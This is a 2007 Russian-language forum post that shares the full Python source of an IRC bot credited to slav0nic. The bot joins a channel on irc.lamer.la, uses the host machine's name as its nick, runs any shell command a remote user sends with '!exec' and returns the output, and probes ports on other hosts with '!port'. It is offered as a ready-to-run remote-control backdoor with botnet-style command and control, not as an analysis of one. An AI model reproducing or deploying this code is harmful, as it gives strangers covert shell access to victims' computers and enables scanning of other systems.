Показать сообщение отдельно

  #118  
Старый 15.07.2007, 14:42
Ni0x
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
С нами: 10370602

Репутация: 472
По умолчанию

IRC бот на питоне
Код:
#-----------------------------------------------+
#                      ._____________________.  |
#   Coded by slav0nic  | slav0nic0@gmail.com |  |    
#                      ^---------------------^  |
# Site: slav0nic.xss.ru                         |
#-----------------------------------------------+
#
#
#commands: !exit','!port','!version','!exec'
#!port [host][port] - check open port
#!exec [commend] - exec command


import socket
import os
import sys
from random import *
from time import *

class IRC:

    def __init__(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.port=6667
        self.ch_key=''
        self.nick = 'slav'+str(randrange(1000)) #bot name
        self.entermsg='[+]ok'           #send msg to chan after connect
        self.autoentermsg=1                 #send self.entermsg
        self._exec='!exec'              #prefix for shell command
        self.bot_commands=['!exit','!port','!version','!get',self._exec]
#        self.encoding='1251'          #default Russian (encode in you irc client)
        self.sleep=0.1                #delay between send !exec result lines
        self.version='0.2'
        
    def loop(self):
        try:
            self.sock.connect((self.host, self.port))
            self.sock.send('NICK %s\r\n' % self.nick)
            self.sock.send('USER localhost localhost localhost : slavar\r\n')
            self.sock.send('JOIN %s %s\r\n' % (self.chan,self.ch_key))
            if self.autoentermsg: self.__sendprivmsg(self.entermsg)

            while True:
                self.res_data = self.sock.recv(1024)
                print self.res_data                          #dbg
                if self.res_data.startswith(':ERROR') or self.res_data.startswith('ERROR'):
                    self.sock.close()
                    print '[-]Serv error'                   #dbg
                    sys.exit(1)
                if self.res_data.startswith('PING'):
                    self.sock.send('PONG : PING\r\n')
                elif self.res_data.find('PRIVMSG')!=-1:
                    msg,msg_type,command,from_=self.__pars_privmsg()
                    print 'msg_type=%s msg=%r cmd=%r'%(msg_type,msg,command)#dbg
                    if (msg_type=="to_user" and command!=''):          #this is a bot command
                        
                        if command in self.bot_commands:
                               if command=='!exit':
                                      self.__ircexit()
                                      self.sock.close()
                                      sys.exit(0)
                               elif command=='!version':
                                   self.__sendto_user(from_,'Version= \x0303%s'%self.version)
                               elif command=='!exec':
                                   stdout=os.popen(msg[(len(command)+1):])
                                   for line in stdout.readlines() :                                                                             
                                       sleep(self.sleep)
                                       self.__sendto_user(from_,line)
                                       #print line               #dbg

##                               elif command=='!get':
##                                    """DCC SEND will be later ;)"""
##                                    self.__sendto_user(from_,'\x01DCC SEND 123.txt 2130706433 4116 4\x01') #ip to long socket.ntohl(struct.unpack('i',socket.inet_aton('127.0.0.1'))[0])
                                                                    
                               elif command=='!port':
                               #     print '%r %r'%(msg.split()[1],msg.split()[2])    #dbg
                                    try:
                                        x=self.__check_port(msg.split()[1],msg.split()[2])
                                    except:
                                        self.__sendto_user(from_,'\x0304[-]\x0300Error "!port [host] [port]" format')
                                        x=-1
                                    if x==1:    
                                        self.__sendto_user(from_,'\x0303[+]\x0300Port %i Ok'%int(msg.split()[2]))
                                    elif x==-1:
                                        pass
                                    else:
                                        self.__sendto_user(from_,'\x0304[-]\x0300Close')
                        elif msg.startswith('\x01DCC SEND'):
                            print 'DCC SEND' #dbg
                            
                            pass
                        else:
                           self.__sendto_user(from_,'\x0304[-]\x0300Unknown command %s'%command)
                                                           
                   
        except:
                print '[-]Error:',sys.exc_value
    def __ircexit(self):
        self.sock.send('QUIT :\x0302Go offline\r\n')

    def __sendprivmsg(self,msg):
        self.sock.send('PRIVMSG %s :%s\r\n' % (self.chan,msg))
        
    def __sendto_user(self,user,msg):
        self.sock.send("PRIVMSG %s :%s\r\n"%(user,msg))
              
    def __pars_privmsg(self):
        msg=self.res_data.split(':',2)[2][:-2]
        if self.res_data.split(':')[1].split()[2][0]=='#': msg_type='to_chan'
        else: msg_type= 'to_user'
        from_= self.res_data.split('!')[0].replace(':','')
        if msg[0]=='!': command=msg.split()[0].replace('\r\n','')
        else: command=''
        return msg, msg_type,command,from_
    def __check_port(self,host,port):
        socktest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#        socktest.settimeout(timeout)
        try:
            socktest.connect((host,int(port)))
            return 1
        except:
            return 0
if __name__ == '__main__':

    bot = IRC()
    bot.host = 'irc.lamer.la'              #irc server ip (default bot.port=6667)
    bot.chan = '#chan'
    bot.ch_key= ''                   #channel password
    bot.nick=(socket.gethostname()).replace('.','_')+'_'+str(randrange(10))
#   if os.fork():
    bot.loop()
 
Ответить с цитированием